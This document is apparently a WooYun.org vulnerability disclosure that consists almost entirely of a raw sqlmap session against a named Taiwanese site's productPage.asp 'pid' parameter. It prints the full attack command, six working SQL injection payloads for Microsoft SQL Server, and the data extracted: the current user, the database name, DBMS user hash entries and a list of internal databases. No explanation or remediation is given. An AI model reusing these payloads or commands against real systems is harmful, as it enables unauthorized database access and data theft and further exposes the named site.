WooYun.org

[root@Hacker~]# Sqlmap Sqlmap Sqlmap sqlmap.py -u "http://www.rivon.com.tw/productPage.asp?pid=93" --dbs --passwords --current-user --current-db --is-dba
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsi
[*] starting at 09:42:40
[09:42:40] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:42:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: pid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=93 AND 1171=1171
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: pid=93 AND 6201=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(109)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6201=6201) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(108)+CHAR(119)+CHAR(102)+CHAR(113)))
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: pid=-3707 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(109)+CHAR(98)+CHAR(113)+CHAR(99)+CHAR(76)+CHAR(87)+CHAR(76)+CHAR(75)+CHAR(115)+CHAR(73)+CHAR(72)+CHAR(109)+CHAR(117)+CHAR(113)+CHAR(108)+CHAR(
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: pid=93; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: pid=93 WAITFOR DELAY '0:0:5'--
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: pid=(SELECT CHAR(113)+CHAR(107)+CHAR(109)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5911=5911) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(108)+CHAR(119)+CHAR(102)+CHAR(113))
---
[09:42:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[09:42:41] [INFO] fetching current user
current user:    'rivon_new_rivon'
[09:42:41] [INFO] fetching current database
current database:    'rivon'
[09:42:41] [INFO] testing if current user is DBA
current user is DBA:    False
[09:42:41] [INFO] fetching database users password hashes
[09:42:41] [INFO] the SQL query used returns 2 entries
[09:42:41] [INFO] resumed: "rivon_new_rivon"," "
[09:42:41] [INFO] resumed: "sa"," "
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[09:42:43] [INFO] writing hashes to a temporary file 'c:\users\admini~1\appdata\local\temp\sqlmaphashes-gtml18.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[09:42:45] [WARNING] unknown hash format. Please report by e-mail to sqlmap-users@lists.sourceforge.net
[09:42:45] [WARNING] no clear password(s) found
database management system users password hashes:
[*] rivon_new_rivon [1]:
    password hash: NULL
[*] sa [1]:
    password hash: NULL
[09:42:45] [INFO] fetching database names
[09:42:45] [INFO] the SQL query used returns 13 entries
[09:42:45] [INFO] resumed: "77"
[09:42:45] [INFO] resumed: "cadeau"
[09:42:45] [INFO] resumed: "ChottyCotty"
[09:42:45] [INFO] resumed: "fun2014"
[09:42:45] [INFO] resumed: "HUNYA"
[09:42:45] [INFO] resumed: "master"
[09:42:45] [INFO] resumed: "model"
[09:42:45] [INFO] resumed: "msdb"
[09:42:45] [INFO] resumed: "ReportServer"
[09:42:45] [INFO] resumed: "ReportServerTempDB"
[09:42:45] [INFO] resumed: "rivon_qrcode"
[09:42:45] [INFO] resumed: "rivon_qrcode"
[09:42:45] [INFO] resumed: "tempdb"
available databases [12]:
[*] 77
[*] cadeau
[*] ChottyCotty
[*] fun2014
[*] HUNYA
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] rivon_qrcode
[*] tempdb
[09:42:46] [INFO] fetched data logged to text files under 'E:\INJECT~1\SQLMAP~1.4\Bin\output\www.rivon.com.tw'